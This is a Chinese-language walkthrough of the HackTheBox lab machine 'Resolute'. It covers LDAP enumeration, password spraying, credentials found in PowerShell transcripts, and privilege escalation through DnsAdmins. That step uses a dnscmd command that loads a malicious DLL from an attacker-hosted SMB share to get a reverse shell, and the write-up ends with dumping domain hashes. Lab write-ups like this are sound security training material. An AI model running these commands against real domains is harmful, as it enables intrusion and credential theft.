hackthebox-220-resolute
hackthebox resolute
port scan
使用rustscan
做端口扫描,发现存在139,445,389等端口开放。
services
使用windapsearch
对ldap服务进行枚举,枚举用户、组、以及全量信息。
1 | mod="users"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt" |
对检索出的信息,进行过滤查看,以常见关键词进行过滤,发现Account description中存在密码Welcome123!
。
1 | cat custom.all.txt | rg -iaP "((pass)|(pwd)|(cred)|(desc))" | rg -ivP "((badpwdcount)|(badpasswordtime)|(pwdlastset))" | rg -iaP "((pass)|(pwd)|(cred)|(desc))" |
发现密码后,根据密码找到此密码对应到哪个用户。
1 | cat custom.all.txt | rg -B7 -A30 -iaP "welcome123" |
找到marko / Welcome123!
凭据。根据此凭据先尝试登录(不成功),使用cme
查看密码策略, 发现没有设置锁定策略。
1 | cme smb '10.10.10.169' -u '' -p '' --pass-pol |
没有密码锁定策略,可以尝试密码喷洒, 得到可登录凭据melanie / Welcome123!
。
1 | cme smb '10.10.10.169' -u './megabank.local.users.txt' -p 'Welcome123!' --continue-on-success |
foothold
使用evil-winrm
以melanie / Welcome123!
凭据登录目标。
priv esca
一番枚举后,发现根目录下存在隐藏目录PSTranscripts
,其中存在pwsh
执行历史记录,包含登录凭据。
在pwsh历史记录中,发现ryan
的凭据ryan / Serv3r4Admin4cc123!
。
尝试使用ryan / Serv3r4Admin4cc123!
登录winrm
(成功),可以再次尝试密码喷洒。
一番枚举,发现ryan
用户归属于DnsAdmins
组,因此可以尝试添加Dns plugin
的方式,使得恶意插件启动,从而提升权限。
参照esca priv with dnsadmins group active direcotry文章,
制作dns恶意插件,由于启动进程后,执行反弹shell连接,会导致插件停止继续运行,shell不稳定,可以使用多线程编程,可以使得
reverse shell在单独的线程中,不会影响dns服务运行,导致服务异常停止,shell不稳定。
根据dim0x69/dns-exe-persistance插件模板,以及cpp rev shell
制作恶意dns plugin.
监听对应端口,等待反弹shell.
启动smb share, 托管恶意插件,然后在目标机器安装插件,并重启dns服务,让插件启动,应该可以得到反弹shell.
执行命令,加载dns plugin,并重启dns服务。
1 | dnscmd resolute.megabank.local /config /serverlevelplugindll \\10.10.14.22\share\dnsAplugin.dll; sc.exe stop dns; sc.exe start dns; |
监听端口处,得到反弹administrator shell,由于目标是域控,则得到了域管权限.
post
尝试使用impacket-secretsdump
获取所有域用户的凭据。
hackthebox-220-resolute